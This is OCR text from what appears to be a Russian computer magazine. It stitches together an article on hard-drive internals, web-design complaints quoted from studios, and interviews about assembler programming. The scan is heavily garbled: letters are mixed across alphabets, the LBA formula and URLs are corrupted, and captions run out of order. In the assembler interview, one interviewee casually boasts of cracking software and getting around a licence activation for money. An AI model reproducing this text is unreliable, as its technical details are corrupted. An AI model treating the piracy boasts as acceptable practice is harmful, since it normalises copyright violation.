работает винчестер. Нормой для хороших совре- 
менных хардов считается кэш в 2 мегабайта, лет 
7 назад было 256 килобайт. "Инженерный ци- 
линдр" представляет собой не что иное, как ПЗУ 
(постоянное запоминающее устройство) и служит 
для хранения в нем некоторой управляющей дис- 
ком информации - в частности, серийный номер, 
модель, таблицы переназначения неисправных 
участков. Следует пояснить, что какой бы хоро- 
ший и дорогой диск ни был, на его поверхности 
всегда есть неисправные участки, которые не мо- 



гут быть использованы для записи данных, они 
обнаруживаются еще на стадии производства 
диска. В "инженерном цилиндре" хранятся адре- 
са неисправных участков и адреса участков, кото- 
рые следует использовать взамен порченных. 
Теперь вспомни тестирование жестких дисков в 
"Реггит", где постоянно сравнивалось "качество 
поверхности" разных моделей. Да, график скоро- 
сти чтения информации ломанный потому, что 
слишком часто встречаются неисправные места, 
и позиционеру приходится перескакивать в дру- 
гую область, вследствие чего падает скорость 
чтения данных. Именно поэтому серьезное пред- 
почтение отдавалось моделям, график скорости 
чтения которых ровный, без кардиограмм. 




Второй процессор 



Первый процессор 



Х-Стиль ЫКодинг 
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ВИНЧЕСТЕР 

і<Пі] Никита Кислицин ака Ыікііоз 
(пікіІ05@геаІ. хакер, ш) 



Нои/ сіоѳз Н и/огк? 

При включении питания (например, после нажатия на ротег), процессор, от- 
вечающий за работу устройства, тестирует электронику диска, после чего от- 
дает команду на включение электропривода шпинделя. В этот момент голо- 
вка находится в "парковочной зоне". По достижении критической для головки 
скорости вращения (то есть если скорость и дальше будет нарастать, она мо- 
жет испортиться), потоки воздуха, возникающие в результате вращения бли- 
нов, заставляют головки "взлетать". Как только скорость вращения шпинделя 
достигает номинальной, головки выводятся из парковочной зоны и произво- 
дится поиск служебной информации, находящейся в ПЗУ - "инженерном ци- 
линдре". Последней стадией включения винчестера является проверка пра- 
вильности позиционирования головок. Она выполняется следующим образом: 
процессор винчестера пытается установить позиционер с закрепленными на 
нем головками на заранее заданную последовательность дорожек, и если все 
нормально, контроллер выдает сигнал готовности, и диск переходит в режим 
нормальной работы с твоими бесценными данными. 




Блок магнитных головок 

Сами головки представляют собой совокуп- 
ность замкнутого контура, выполненного из то- 
ненькой проволочки, заделанной в пластик, и 
излучателя электромагнитных колебаний. Все 
это крепится на упругом крылышке, которым 
оканчивается так называемый позиционер - 
алюминиевая "рука", способная перемещаться 
между краем блина и шпинделем. Головки рас- 
положены с обеих сторон блина и подпружине- 
ны таким образом, что в свободном состоянии 
головка ложится на поверхность носителя. 
Шпиндель с блинами очень быстро вращаются 
вокруг своей оси, и вследствие этого вращаю- 
щиеся пластины увлекают за собой потоки воз- 
духа, благодаря которым головка "летает" над 
магнитным покрытием блина на расстоянии 



0.13 (!) микрон от него. Следует пояснить, что 
магнитное вещество намагничивается неравно- 
мерно и при быстром вращении блинов отно- 
сительно неподвижной головки в замкнутом 
контуре возникают электромагнитные колеба- 
ния. Эти колебания, собственно, и представля- 
ют собой прочитанную информацию, они по- 
ступают в другой "отсек" жесткого диска, в его 
электронную часть, где, после обработки, идут 
по шлейфу на материнскую плату. Запись ин- 
формации выполняется аналогичным путем, но 
в обратном порядке. Процессор устройства ге- 
нерирует электромагнитные импульсы, посту- 
пающие на головку, производящую запись ин- 
формации. Эти колебания излучаются в сторо- 
ну магнитного покрытия, вследствие чего оно 
меняет свои магнитные свойства. При сниже- 
нии скорости вращения ниже номинальной ве- 



личины или выключения питания, процессор 
винчестера отводит головки ближе к шпинде- 
лю, в так называемую "парковочную зону", где 
головки ложатся на поверхность блина. "Пар- 
ковка" необходима для сохранности головок и 
информации, находящейся на поверхности 
"блинов". В случае если головка "упадет" на ту 
часть поверхности блина, где содержится ин- 
формация, могут запросто повредиться и дан- 
ные, и сама головка - в современных моделях 
скорость вращения шпинделя достигает пят- 
надцати тысяч оборотов в минуту! Теперь, я ду- 
маю, понятно, почему резкое обесточивание 
диска в момент интенсивной работы может вы- 
звать его повреждение? Головка попросту не 
успевает достичь "парковочной зоны" и падает 
на данные, вызывая их повреждение :(. 




Маятник рячага 



Шлейф от головок. 
Нам пришлось его 
оборвать, чтобы 
вытащить весь рычаг 



Здесь должен лежать блин. 
Две головки обхватывают 
его с обоих сторон. 



Ось рычага 



Три рычага. На крайних рычагах 
по одной головке, на среднем - 
две. 



2 головки. Еще пару голов для 
второго блина мы нечаянно 
обломали, когда разбирали 
винт 



і 
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Логическая организация НЭЭ 

Каждый блин делится на сектора, кластеры, дорожки и 
цилиндры. 

Дорожки - это концентрические окружности (т.е. у 
всех у них центр находится в одной точке), вдоль кото- 
рых располагается записанная на диске информация. 
Каждая дорожка имеет свой собственный номер. Ну- 
мерация производится по порядку, начиная с нулевой 
дорожки по направлению от края блина к шпинделю 
винчестера. Цилиндром называют совокупность двух 
дорожек с одинаковыми номерами, расположенных на 
противоположных сторонах блина. 

Что такое сектор, я полагаю, тебе известно из уроков 
геометрии в школе. Если же ты учился неважно, то 
объясню так: сектор - это кусочек дорожки, т.е. каж- 
дая из дорожек поделена на определенное количество 
секторов. 

Кластер - несколько секторов, рассматриваемых опе- 
рационной системой как одно целое. Если подняться 
на уровень выше в логической организации НШО, появ- 
ляется такое понятие, как блок. Блок - это та информа- 
ция, которая может быть записана на один сектор, это 
наименьшая порция данных, которая может иметь свой 
уникальный адрес на винчестере, обычно - 512 байт. 
Чтобы точно идентифицировать какие-то данные, нахо- 
дящиеся на ИБО, необходимо знать три цифры: номер 
цилиндра, номер сектора на дорожке и номер головки. 
Тут следует пояснить, что две головки, работающие с 
одним блином, физически друг с другом связаны и чи- 
тают (пишут) всегда в один цилиндр, в этом, собствен- 
но, и есть его смысл :). Для адресации данных в преж- 
ние времена использовали так называемый СНЗ-алго- 
ритм (Суііпсіег, НеасІ, Зесіог). Позднее разработчики 
столкнулись с некоторыми проблемами, связанными с 
поддержкой БИОС’ом дисков большого объема, и ста- 
ли использовать иной алгоритм - І_ВА. Он довольно 
просто связан с СНЗ-адресом: 

І_ВА=(суІіпсІег*НЕА05 + ПеасІ)*5ЕСТОВ5 + (зесіог- 1). 
Для работы с жестким диском ВІОЗ’у компьютера не- 
обходимо знать объем диска, количество цилиндров, 
головок и секторов. В современных моделях все эти 
цифры определяются аиІобеІесГом, так что можешь 
полюбоваться на них, зайдя в соответствующий раз- 
дел твоего БИОСА. 




Электродвигатель и шпиндель 

Ну, куда же без двигателя. Действительно, привод электродвижка выполняет 
важнейшую роль: он, будучи подключенным к шпинделю, на котором крепят- 
ся носители информации, раскручивает его и, соответственно, носители. О 
том, как устроен и работает электродвигатель, замечательно написано в 
учебнике по физике за, дай бог памяти, 10 класс. Если интересно, почитай на 
досуге :). К двигателю подключается источник тока с напряжением в 5 или 12 
вольт, что позволяет современным моделям раскручивать шпиндель до пят- 
надцати тысяч оборотов в минуту! Впрочем, этот показатель, естественно, ог- 
раничен не возможностями двигателя - тут масса других проблем: шумовые, 
тепловые и, прежде всего, ограничения, связанные со считыванием инфор- 
мации с магнитных носителей. Кстати, про шум и перегрев. Шпиндель, есте- 
ственно, крепится к жесткому диску не напрямую - через подшипни- 
ки, которые сводят к минимуму трение в осях шпинделя, вследствие 
чего минимизируются шум и выделяющееся в результате трения щ я 
тепло. В современных моделях используются гидравлические под- ш г 1 
шипники. 
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СЕАНС ЛОХОТЕРАПИИ 
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рсдир 

ЛОХОТЕРАПИИ 




Гуру вебдизайна выпрямляют кривые руки 





От редактора: 



Уверен, что, заходя на некоторые сайты, у тебя складывалось гадливое впечатление, которое появ- 
ляется, когда вдыхаешь запах разлагающихся помоев. Все набросано, хаотично, пестро, броско и 
бессистемно. Лично меня на такие сайты больше затащить невозможно. Это примерно как X напеча- 
тать транслитом :) Есть и другие крайности: отлично изготовленный сетевой проект, где забыли на- 
прочь о том, что им кто-то будет пользоваться. Красиво-то оно красиво, но вот беда с навигацией не 
оставляет шансов найти искомое. Потыкавшись всюду и тихо матерясь, пользователь отчаливает :). 

Но: есть люди, которые знают, что и как сделать правильно. Им и карты в руки, а ты не ленись, смот- 
ри, что говорят профи и мотай на ус. 





Блуждая по просторам всемирной паутины, каждому посто- 
янно невольно приходится встречаться с сайтами, дизайн 
которых, мягко говоря, неприятен глазу. А что вы, товарищи, 
хотели после такой пропаганды Интернета по всему миру? 
Сейчас почти у любого жителя Земли есть хоть какой-то до- 
ступ к этой гигантской компьютерной сети, поглощающей 
все новых и новых пользователей в своих глубинах. Кому-то 
интересно узнать свежие новости из различных отраслей, 
кто-то страшно нуждается в очередном реферате, кому-то 
просто скучно в этой жизни и очень хочется пообщаться ин- 
терактивно, кто-то желает скачать прогу, без которой он 
просто жить не может, да мало ли возможностей у Интерне- 
та? И все лезут в сеть... 

Когда немного освоишься в новой среде, приходит идея 
создать сайт с информацией, которую, по мнению сайто- 
строителей, надо нести в массы. Ведь все так просто: ре- 
гишься на бесплатном хостинге, вписываешь в заготовлен- 
ные хостерами шаблоны некий текст, закачиваешь картин- 
ки/программы/трЗ, сайт готов! Потом начинаются "усо- 
вершенствования" сайта: сначала покупается самая гени- 
альная книга по ИІтІ (ее автор обычно разбирается в этом 



самом ИІтГе не на бит больше доверчивых свежеиспечен- 
ных ѵѵеЬ-дизайнеров), начинаются копания в исходнике 
странички, появляется пестрая раскраска всего, что не 
сразу бросается в глаза ("А вдруг посетитель моего сайта 
не заметит эту ссылку? Сделаю-ка я ее покрупнее!"), до- 
бавляется гора разнообразных іаѵа-скриптов, ИазН-дета- 
лей и прочих радостей. После проделанной работы до- 
вольный собой юзер рассылает урл своей странички всем 
своим друзьям по чату и подпрыгивает от радости, наблю- 
дая всякий прирост количества посетителей хомпаги (а на- 
блюдается это сразу на 20-30 счетчиках). 

И во что в результате превращается Интернет? В самую 
большую в мире свалку показательных дизайнов, демонст- 
рирующих во всем соку такие произведения искусства (в не- 
которых местах просто шедевры), которые делать нельзя да- 
же под дулом твоего любимого ВРС. Главная цель данной 
статьи - уменьшить количество вышеописанного в рунете, а 
для этого пришлось помучить ведущие ѵѵеЬ-дизайн студии 
нашей страны, которые умеют делать красивым все, что 
движется. Профессионалам был задан вопрос: "Что вас раз- 
дражает в неправильно сделанных сайтах?". 



Юниксоид 








<Оезідп Зіисііо Х-Ргоіесі 
(ѵѵѵѵѵѵ.хргоіесі. ги)> 



Самсонов Михаил (коммерческий директор) 



"Приведу некоторые типичные ошибки при разра- 
ботке сайта: 

- Размещение на главной странице более 7-9 основ- 
ных разделов. Это ведет к плохому восприятию ин- 
формации. 

- Не стоит начинать готовить структуру, не представ- 
ляя полного объема материалов для размещения, 
иначе потом придется ее переделывать. 

- Избегайте перегрузки одной страницы текстом. Луч- 
ше создать дополнительный подраздел: это позволит 
пользователям с невысокими скоростями доступа бы- 
стрее получить нужную информацию. 

- Не делайте структуру сайта очень сложной. На- 
вигация по сайту должна быть интуитивно понятна 
любому пользователю. 

- При составлении структуры не нужно копировать ор- 
ганизационную структуру компании. 

- Структура сайта должна определяться задачами, ко- 
торые хотят решить с его помощью пользователи, а не 
сотрудники компании. 

- Сайты, интерфейс которых направлен на потребнос- 
ти внутри организации, а не на внешних посетителей, 
не приносят ожидаемой отдачи. 

- Целостность - ключ к эффективной интерактивности. 
Не привлекайте к проекту большое количество неза- 
висимых исполнителей. Настоящие профессионалы 
давно научились взаимодействовать на рынке. А пере- 
дача работ от одного исполнителя к другому - рекла- 
мой занимается один, маркетингом другой, стратеги- 
ей третий, бизнес-процессами четвертый - напомина- 
ет старую пословицу про семь нянек. 

- Сайт сделан, но на информационную поддержку за- 
были выделить средства. Если компания вложила 
большие деньги в построение сайта, но не стала его 
поддерживать, эти инвестиции не принесут отдачи. 

- Пока компания не сможет решить проблему со- 
здания материалов специально для Интернета, ин- 



формация, представленная на ее сайте, будет но- 
сить вторичный характер. Интернет - агрессивная 
среда, и там нет возможности расслабиться, поси- 
деть на диванчике, познакомиться с буклетиком, 
все происходит быстро, готовьте материалы к быс- 
трому восприятию." 



<Интернет-агентство йоі 
(ѵ\/ѵѵѵѵ.сІо1.ги)> 



Глеб Иванюшкин (менеджер по связям 
с общественностью) 



"Дизайн основывается на нескольких базовых элемен- 
тах. Если набросить на стандартный сайт своего рода 
"модульную сетку", в общепринятых вариантах это ло- 
го, баннеры нескольких видов, система навигации, 
информационные блоки и графика декоративного ха- 
рактера. Строго говоря, помятуя о канонах веб-дизай- 
на, дизайн можно разделить на хтетический (общая 
визуальная концепция) и функциональный, к коему от- 
носятся такие вещи, как система навигации: меню, 
ссылки, локальная баннерная система. Соответствен- 
но, навигация может быть вертикальная либо гори- 
зонтальная. Реже встречается нестандартная, напри- 
мер, круговое навигационное меню. Систему навига- 
ции нужно подбирать, основывать на общей инфор- 
мационной концепции и архитектуре сайта. Горизон- 
тальная панель навигации не очень подходит для сай- 
тов с большим количеством рубрик и подразделов. 
Логотип обычно находится вверху страницы, в начале 
подачи информации, и на внутренних страницах слу- 
жит встроенной ссылкой возврата на стартовую. Так- 
же на сайтах портальной архитектуры, состоящей, как 
правило, из очень большого количества вложенных 
подразделов, целесообразно интегрировать систему 
вывода в строку положения текущего документа, что 
существенно облегчает маршруты перемещения 
пользователя. 

Что касается ответа на поставленный вопрос 
"Что Вас раздражает в неправильно сделанных 
сайтах?": 



1 . В случае сайтов "портальной архитектуры" отсутствие четкой иерархии 
и системы вложенности. Создатели таких сайтов часто полагают, что все 
подразделы их портала одинаково важны и нужны посетителю, и поэтому 
лепят кучу всяких бессистемных ссылок на одну первую страницу. В ито- 
ге посетитель не может понять, где ему искать то, за чем он сюда пришел 
(это все равно, если бы у вас на жестком диске все файлы хранились бы 
не в папках, а в одной куче). 

2. Сайты, в которых каким-либо образом ограничен контроль 
со стороны пользователя над теми вещами, над которыми 
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у него должен быть контроль. Например: когда поль- 
зователю запрещают изменять размер окна браузера 
(особенно когда он самостоятельно раскрывается на 
весь 22" экран), когда выключены кнопки управления 
браузером, ну и самое ужасное, когда браузер устра- 
ивает произвол в виде самовольного открывания не- 
скольких новых окон. 

3. Неудобное размещение информации на страницах. К 

примеру, на многих сайтах текст размещен фактически от 
края до края браузера, что чрезвычайно неудобно при 
прочтении (например 

Шр\//тм. кзгп . ги/к52п/іпсІех. )зр?раде=340) . 

4. Редкое обновление контента. 

5. Многие сайты грешат ошибками в навигационной сис- 
теме, в частности, отсутствует функция возврата на глав- 
ную страницу. 

6. Отсутствие дополнительных сервисов для посетителей 
(системы заказа, интерактивных разделов). 

7. Перегруженность сайта счетчиками и рекламными 
кнопками." 



<Компания Тарант-Парк-Интернет" 
(ѵ\/ѵ\/ѵѵ.теІгіс.ги)> 



Александр Печников 

(руководитель департамента маркетинга и РП) 



Василий Блинников: 



Общие моменты 



Меню 



нужно ли это здесь, это не важно". Абсолютно нелогично 
располагаются разделы в меню. Кнопки трех разделов, 
посвященных основным операторам - МТЗ, Би-Лайн и 
Мегафон, перемешаны с остальными (магазин, о компа- 
нии, тарифы, контакты и т.д.). Хотя логичнее было бы их 
визуально выделить, если они вообще нужны на этом сай- 
те. При наведении на кнопки появляются бгор-сіоѵѵп меню. 
Причем названия разделов на кнопках выровнены по пра- 
вому краю, а выпадающее меню появляется с левой сто- 
роны, это вызывает некоторый дискомфорт при работе с 
меню. Размер основного текста на внутренних страницах 
достаточно мал, чтобы его можно было комфортно читать. 
Почему в нижнем левом углу в качестве декоративного 
элемента располагается телефон именно фирмы ІМокіа, 
им Иокіа приплачивает??? 



Вадим Бондарев: 
Юзабилити 



"На Ваш вопрос отвечают Василий Блинников (дизайнер) 
и Вадим Бондарев (руководитель направления). Оба они 
работают в Меігіс. Меігіс - это бренд компании Гарант- 
Парк- Интернет. Под этим брендом предоставляются сле- 
дующие услуги: создание и сопровождение Интернет/ин- 
транет-систем, информационных порталов, систем элек- 
тронного бизнеса, программных продуктов для Интернет; 
консультирование в области интернет-технологий и ин- 
тернет-маркетинга. Заметим, что мнение отдельных со- 
трудников может не совпадать с мнением компании... 8))) 



Дабы не рассуждать голословно, мы выбрали конкретный 
сайт (ш/ѵѵ.кигапіу.ги) и на его примере решили обсудить 
- "как не надо делать". В рейтинге ВатЫег ТорЮО в кате- 
гории "Связь" сайт расположен на 35 месте за месяц. В 
рейтинге на МаіІ.ги находится на 22 месте! В этом сайте 
раздражает абсолютно все! 



Для заголовков используется убогий рубленный шрифт, 
претендующий на декоративность исполнения, темная хо- 
лодная синяя гамма, в которой не все оттенки хорошо со- 
четаются между собой. В шапке расположен безумный 
коллаж - пестрый мусор на тему "мобильная связь". Теле- 
фонные аппараты, девушка-оператор, компьютеры, мене- 
джеры и еще какие-то непонятные объекты, жуткое каче- 
ство фотоматериалов. Фотографии в коллаже не подгоня- 
лись друг к другу никак, ни по цвету, ни по форме, ни по 
текстуре. Хотя нужно признать, что кучка трубок ІМокіа в 
центре все же создает ощущение принадлежности этого 
сайта к теме сотовой связи. Название сайта "Куранты" 
обыграно с помощью фоновой иллюстрации кремлевских 
курантов, которые узнаются с трудом. Качество иллюстра- 
ции также оставляет желать лучшего. 



Без боли в глазах невозможно прочитать ни одно назва- 
ние раздела! Создатели сайта решили применить "мод- 
ный" элемент оформления - текстуру "в точечку". В дан- 
ном случае она используется как подложка в кнопках на- 
вигации, что делает их совершенно нечитабельными. Ти- 
пичный пример - "раз так все делают, то я тоже сделаю, а 



Главная страница: 



- выгодные предложения с ценами и сроком действия вы- 
годной цены из разных товарных групп: 

■ по 1 модели, дабы не устраивать свалку; 

■ телефон, аксессуар к телефону, пейджер; 

■ под каждым типом минименю - под моделью телефо- 
на - список производителей, под аксессуаром - типы 
аксессуаров, под пейджером - список производителей 
или типы пейджеров - односторонняя связь, с обратной 
связью и т.п.; 

- новости; 

- адрес, телефон, ссылка на схему проезда. 

Разделы меню МТС, МЕГАФОН, БИЛАЙН, мне кажется, 
абсолютно не нужны, подробную информацию о них поль- 
зователь может получить непосредственно на сайтах ком- 
паний, а в большей степени после выбора телефона его 
будут интересовать готовые предложения телефонов с 
подключением по разным тарифным планам компаний." 



Прежде всего - юзабилити означает удобство использова- 
ния и понятность для пользователя. Представим себя на 
месте потенциального покупателя, пришедшего на сайт 
поискать себе мобильный телефон. 

Сайт встречает нас достаточно тусклой гаммой раннего 
утра, когда серые надписи едва различимы на фоне сине- 
го оттенка. Вы когда-нибудь вставали рано утром, часиков 
этак в 4-5? Выходя на балкон, вы могли бы заметить, что 
именно так выглядят облака на небе, пока не взошло 
солнце. Я согласен, что подобная палитра успокаивает и 
расслабляет, однако различать объекты достаточно слож- 
но и утомительно для глаз. Вернемся на землю. 

Меню на сайте представляет собой три строки нави- 
гационных кнопок с трудно различимыми надписями 
на них. Как выясняется после наведения на пункты 
меню, присутствуют выпадающие субменю. Хорошо 
это или плохо, дело вкуса - кто-то, например, Воро- 
нежский, их не любит, кто-то еще активно приветст- 
вует. Но дело несколько в другом. Поскольку меню 
трехстрочное, выпадающие из вышестоящих пунктов 
"субменю" напрочь перекрывают видимость нижесто- 
ящего ряда пунктов меню. И для того чтобы посмот- 
реть "...а что же у нас там ниже...", приходится почув- 
ствовать себя виртуозом, совершающим эдакую "пет- 
лю Нестерова" по окну браузера. 

Под меню находится призывная надпись "Купи телефон 
здесь!", которая, вопреки нашим ожиданиям, никуда не ве- 
дет. Увы. Купить что, купить где? Предложения от компании, 
размещенные ниже, я бы предложил сделать иначе. В конце 
концов, покупатель (посетитель сайта) скользит взглядом по 
наиболее ярким и привлекательным (размером ли, формой, 
цветом) точкам экрана. Назовем их айстопперами или по- 
русски "ловушками". В данном случае, поскольку нет ника- 
ких тематических изображений, представляющих собой "ло- 
вушки", роль айстопперов выполняют надписи "- ЗІЕМЕІМЗ 
А35". Подобные объявления сопровождаются более мелким 
текстом о цене и другими подробностями... Цену, мне ка- 
жется, надо было включать прямо в "ловушку". 

Главный, на мой взгляд, недостаток сайта - в его инфор- 
мационной структуре. В ней перемешана информация об 
операторах, телефонах, пейджерах и аксессуарах, компа- 
нии и прочая. Следует задуматься о том, чего же хочет ви- 
деть пользователь в первую, вторую и последнюю оче- 
редь. Что может привлечь его, а что оттолкнуть. Напри- 
мер, по статистике информацию о компании читает 13-15 
процентов посетителей, да и то в последнюю очередь и в 
большей степени надеясь получить координаты компании. 
Структура могла бы быть такой: 



<Московское Анентство 
Веб-дизайна е-АгІ.ш 
(Шр://ѵѵѵш.е-Аг1.ги)> 



Григорий Песоцкий (директор) 



"Пользователи Всемирной Сети используют ее для поис- 
ка нужной информации. Если они находят сайт с исчерпы- 
вающей для них информацией, то, независимо от художе- 
ственного оформления сайта, они будут возвращаться на 
этот сайт. Если же сайт красиво оформлен, но нужную ин- 
формацию найти сложно, то на этот сайт пользователь ни- 
когда не вернется. Художественное оформление, конечно, 
должно радовать глаз, но это не самое главное. Большую 
роль также играет объем страниц, который определяет 
время загрузки. Много советов для разработчиков сайтов 
вы можете прочитать на нашем сайте. 

Больше всего меня раздражает то, что, зайдя на чей-то 
сайт, невозможно понять, о чем вообще идет речь, чем 
занимается компания-владелец сайта и как с ней можно 
связаться. К сожалению, таких сайтов в Рунете огромное 
количество. Могу привести пример сайта, на котором с 
большим трудом можно найти координаты для связи с его 
владельцем - ѵѵѵѵѵѵ.теіз.ги. Сейчас не могу привести боль- 
ше примеров из-за отсутствия времени." 




Надеюсь, что к этим советам прислу- 
шаются ѵѵеЬ-дизайнеры (особенно 
начинающие), и больше приводить 
примеры отвратительных сайтов не 
придется (или хотя бы их станет 
слишком мало :). И помни, что всегда 
полезно сначала посмотреть, как сде- 
лано у других, спросить, что другие 
считают красивым и удобным, и не 
быть полным эгоистом, потому что та- 
кой эгоизм приводит исключительно к 
худым последствиям. Мало того, что 
это просто очень неприятно пользова- 



телям, ты сам не сможешь извлечь 



много пользы, и заветные циферки на 
счетчике не будут расти так, как тебе 



всегда мечталось... 



- навигация отдельно по продуктам; 

- отдельно от всего служебная навигация по сайту - фору- 
мы, обратная связь и т.п.; 
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АССЕМБЛЕР: СВЕЖИЙ ВЗГЛЯД 



ф ТапаТ (ТапаТ@ІіоІтаіІ.ги) 



свежии взгляд 




Если бы ты знал, сколько людей во всех концах мира на- 
прягалось, чтобы ты увидел эту статью! Россия, Украина, 

■ Австралия, Таиланд... да всего и не перечислишь! Но это 
стоило того: сегодня на страницах любимого журнала ты 
найдешь те крупицы мудрости, которые истинные профи 

копят годами. Мы рассмотрим абсолютно все, что так или иначе относится к ассемблеру: от са- 
мых лучших мануалов и справочников до самых мощных компиляторов и ЮЕ. А помимо этого, 
на Сй лежит самая большая подборка наиболее нужного и РЕДКОГО софта, который мы для те- 
бя собирали в течение нескольких месяцев. 



Так уж исторически повелось, что любой разго- 
вор об ассемблере принято начинать с обсуж- 
дения его актуальности. В этом есть здравый 
смысл: ведь если этот язык программирования 
сегодня никому не нужен, то зачем писать о 
нем горы страниц? 

Должен сказать откровенно, мы очень серьезно 
отнеслись к этому вопросу и решили раз и на- 
всегда доказать, что ассемблер жив, нужен и 
используется. Ради достижения этой цели при- 
шлось провести целое исследование и рас- 
спросить массу людей. Перед тем как раскрыть 
карты, хочу привести высказывание С.В. Зубко- 
ва (автора самой лучшей в России книги по ас- 
семблеру): "Далеко не все, что говорят об ас- 
семблере, является правдой, и далеко не все, 
кто говорят об ассемблере, на самом деле зна- 
ют его". Сейчас мы расскажем тебе правду. 
Первый человек, к которому мы обратились за 
разъяснениями, известен под именем Вгокеп 
ЗѵѵогсІ. 



Личное дело: 



Іі 

19 лет. Не женат. Живет в 
Одессе. Учится в Одес- 
ском национальном поли- 
техническом университет 
1 4 курсе по специально- 
сти "системный пр 
шст". На изуче 



ственная девушка, Викі 
ак, что дай боже каждому. 

1 8 тгб является ведущим эксі 
емблер? Это просто. Учимся программир 
отвечает на любые вопросы по мылу 
паіі.ги) без перерывов и выходных. Если у 
и - пиши, эксперт тебе поможет. 




- Тут бытует мысль, что ассемблер 
мертв. Твое мнение? 

- Бред. Он же не мамонт, в самом деле! Это равносильно ут- 
верждению, что все опкоды вымерли... Что не существует 
прерываний, портов і/о и т.п. Как может умереть то, на чем 
стоит все остальное? Вообще, само слово "ассемблер" 
очень абстрактно... С одной стороны, это творение рук че- 
ловеческих, поэтому его может понять и постичь в совер- 
шенстве абсолютно любой психически здоровый человек, и 
не о чем тут больше говорить. Но с другой стороны, асм не- 
что гораздо большее... это ИСКУССТВО, хотя и рукотворное, 
самодельное, но все же искусство... Искусство бессмертно! 

- С его помощью деньги заработать 
можно? 

- Я долго лазил по всяческим ТіпсІфЬ.огд и нашарил сле- 
дующее: на западе программер, шарящий в системе на 
основе ядра, получает на 30-40% больше денег, чем кон- 
курент на ЯВУ (дело реально доходит до 100-150 кусков 
капусты). Деньги с его помощью заработать, безусловно, 
можно и даже нужно, но только не в нашей стране... У нас 
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- только незаконным путем (как ни странно, это относится 
и непосредственно к асму). Я реально видел электронные 
схемы для считывания карточек некоторых крупных бан- 
ков Украины, тех же зіш-карт Киевстара и ІІМС, соединяв- 
шихся с компом по обычному СОМ-порту. Здесь, понят- 
ное дело, в объектах никто ничего писать не будет... 

- Ты лично срубил хоть что-нибудь бла- 
годаря своим знаниям? 

- Были случаи, когда мне удавалось реально снять лавэ на 
всем этом деле, причем оказывался как на месте наруши- 
теля закона об авторских правах, так и в роли помощника 
правоохранительных структур (эта роль мне досталась со- 
вершенно неожиданно и один раз). 

Т.к. опыта достаточно мало, приходилось ломать проги 
для себя единственно для его (опыта) накопления; кстати, 
замечу, что абсолютно ЛЮБАЯ прога поддается хряку, все 
дело только во времени и нервах, которые на это уйдут, но 
поверьте, результат всегда оправдывает многочасовые 
трейсы и лихорадочные выписывания ручкой в бумажку 
адресов и опкодов из окна дебаггера. 

- Так что там насчет авторских прав? 

- Одна фирма купила лицензионный диск за 250$, при уста- 
новке прога генерит ключ, нужно позвонить по телефону и уз- 
нать ответный код. Естественно, позвонить можно только 
один раз (понятно, чтоб диском не пользовалось потом пол- 
города), если грохнется мастдай (естественно, вместе со все- 
ми ключами и кодами) - придется вызывать их программера, 
и он за 10$ опять все вернет. Но фирме крупно повезло :). 
Они отделались меньшей суммой, а я пошел пить пиво. 

- А как тебя в государственные структу- 
ры занесло? 

- С правоохранительными органами мне вообще частень- 
ко приходилось иметь сношения :). Был случай, когда я 
помогал ломать базу данных одной фирмы с мелкоуголов- 
ными наклонностями. Дело даже не в том, что пароль ле- 
жал в незашифрованном виде в одном из файлов в том же 
каталоге (а вы думали, что "поломать" прогу - это обяза- 
тельно раскромсать ее топором? Иногда полезно пошеве- 
лить мозгами :)), и всю сложность для меня на тот момент 
составил напускной серьезный вид при плетении сказок, 
каким немереным трудом всего этого удалось достичь. В 
итоге - снятие с учета :) + вознаграждение... 

Ну что ж, пока единственное полезное, что мы выловили, 
это информация о том, что за бугром ассемблерщики це- 
нятся, а на родине требуются только для незаконных опе- 
раций. Маловато, да? Нам тоже так показалось, поэтому 
мы обратились за советом к мастеру, которого все знают 
под ником Ісгеііоп. 



Личное дело: 



- Некоторые люди считают, что асм 
мертв. Что скажешь? 

- Для некоторых он действительно мертв: они не хотят 
его использовать, а он ничем не может быть им полезен. 
Но есть люди, для которых ассемблер является средством 
существования. Например, ѴхО-кодеры. Для многих лю- 
дей этот язык просто близок собственному мыслительно- 
му процессу. 

- Нужны ли сегодня программисты на 
ассемблере? 

- Да. Но не в таких количествах, как, скажем, А5Р или С++ 
кодеры. Но сегодня человек должен быть очень хорошо 
подготовлен, чтобы его приняли на работу. 

- Если человек знает асм, он может най- 
ти себе хорошую работу? 

- Я бы на это не рассчитывал. Ассемблер это всего лишь 
один из языков программирования. У него есть свои силь- 
ные и слабые стороны. Что касается работы, то это силь- 
но зависит от человека и самой организации, которой тре- 
буются асм -кодеры. 

- Спасибо, этот вопрос разъяснили. Что 
бы ты посоветовал нашим читателям, 
уже знающим ассемблер или только со- 
бирающимся его изучать? 

- Если вы хотите изучать ассемблер, сперва спросите се- 
бя, зачем он вам. Не учите его лишь потому, что он вам 
кажется "элитным". Ни один из языков программирования 
не является лучшим для написания абсолютно любых при- 
ложений. Сам я пишу на ассемблере далеко не все. Чаще 
всего я использую ѴВА или ѴВЗсгірІ, если они позволяют 
решить задачу без потери производительности. А на ас- 
семблере я пишу потому, что люблю этот язык и он мне 
кажется "естественным". Программирование на ассемб- 
лере требует большой концентрации, так как каждая инст- 
рукция делает очень мало: только если несколько их со- 
брать воедино, получится какой-нибудь результат. Если 
вы невнимательны, подумайте еще раз. Программирова- 
ние на асме требует больших затрат времени, даже если 
вы используете структурное программирование. То есть 
программы на ассемблере это чаще всего маленькие ути- 
литы. Я не хочу совсем отпугнуть новичков, просто изла- 
гаю некоторые факты самого языка, чтобы вы могли при- 
нять объективное решение. 

Честно говоря, тут у нас почти 
опустились руки. Вроде понят- 
но, что асм нужен, а как дока- 
зать, не знаем! Однако послед- 
няя попытка, интервью со Сти- 
вом Хатчессоном, оправдала 
наши надежды сполна. 



Личное дело: 




- Стив, как ты оцениваешь свое знание 
ассемблера? 

- Ну, я знаю его хорошо. Конечно, все инструкции на па- 
мять не помню, так что часто приходится копаться в спра- 
вочнике. 

- Тебя действительно можно считать от- 
цом проекта "тазт32"? 

- Я создал этот проект в 1998 году, когда программирова- 
ние на ассемблере начало постепенно умирать, а кодеры, 
интересующиеся асмом, не знали, как его изучить. Сам я 
принадлежу поколению, которое использовало ассемблер в 
случаях, когда спотыкались С, Вазіс и РазсаІ. Я хотел, что- 
бы мои знания, а также навыки сотен других программис- 
тов, не пропали даром, а перешли молодому поколению. 

- Долго создавалась первая версия тво- 
его пакета? 

- Несколько месяцев. 

- Ты сам задел животрепещущий для 
нас вопрос о судьбе ассемблера. Твое 
мнение: в современном мире С++ и 
Лаѵа ему есть место? 

- Я придерживаюсь мнения, что у каждого языка есть свои 
